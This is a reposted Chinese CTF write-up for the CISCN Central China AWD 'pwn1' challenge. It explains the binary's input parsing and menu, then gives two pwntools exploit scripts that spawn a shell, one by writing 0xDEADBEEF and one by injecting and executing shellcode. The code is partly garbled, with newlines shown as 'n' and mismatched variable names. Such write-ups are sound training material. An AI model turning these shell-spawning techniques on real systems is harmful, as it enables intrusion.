ciscn 华中赛区分区赛 awd pwn1

阅读: 评论:0

ciscn 华中赛区分区赛 awd pwn1

ciscn 华中赛区分区赛 awd pwn1


罕见的有保护没有都开。

输入是input
sb是第一个:
:后面的第一个事sc
sc后面第一个回车是sd
sd后面第一个又是input

E0存放着input
E8放着sc

所以其实也就是回车为分界,一组一个回车。
:又将每一组分开,分别存放在E0,E8。

有个strcasecmp函数

头文件:#include <string.h>
定义函数:int strcasecmp (const char *s1, const char *s2);
函数说明:strcasecmp()用来比较参数s1 和s2 字符串,比较时会自动忽略大小写的差异。
返回值:若参数s1 和s2 字符串相同则返回0。s1 长度大于s2 长度则返回大于0 的值,s1 长度若小于s2 长度则返回小于0 的值。


然后最多重复五轮,就出循环了。

根据v7的不同的值进入不同的函数。

1
假如6020d0的空间里面的字符串,就可以拿到shell。


咋申请不知道

2
v9、v10控制在那个空间的哪里开始读,读多少。

3
这个又是写。


当都不是的时候还有一个分支。
这直接会执行写在那个chunk的函数。

1、2、3就是申请,读写。

整体思路比较明确,就是通过上面的while循环控制参数,跳出循环可以两个回车,或者五个填满,我们直接两个回车就好。

所以两个思路,两份wp,在比赛的时候可以两个都打一下,可能别人只补了一个洞。

第一种
我们就只要控制它申请一块空间写入DEADBEAF,然后1就行。

exp

from pwn import *context.log_level = 'debug'r = process("./1")r.sendafter('>', 'op:2n+:0nn:4nn')
r.sendafter('ready?', p32(0xDEADBEEF))
r.sendafter('>', 'op:1n+:0nn:4nn')r.interactive()

第二种就是ret2shellcode了

from pwn import *context.log_level = 'debug'
context.arch = 'amd64'
context.os = "linux"p = process("./1")
shellcode = asm(shellcraft.sh())sendafter('>', 'op:2n+:0nn:'+str(len(shellcode))+'nn')
sendafter('ready?', shellcode)
sendafter('>', 'op:4n+:0nn:4nn')r.interactive()

本文发布于:2024-01-31 21:19:53,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170670719431428.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:分区赛   华中   赛区   ciscn   awd
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23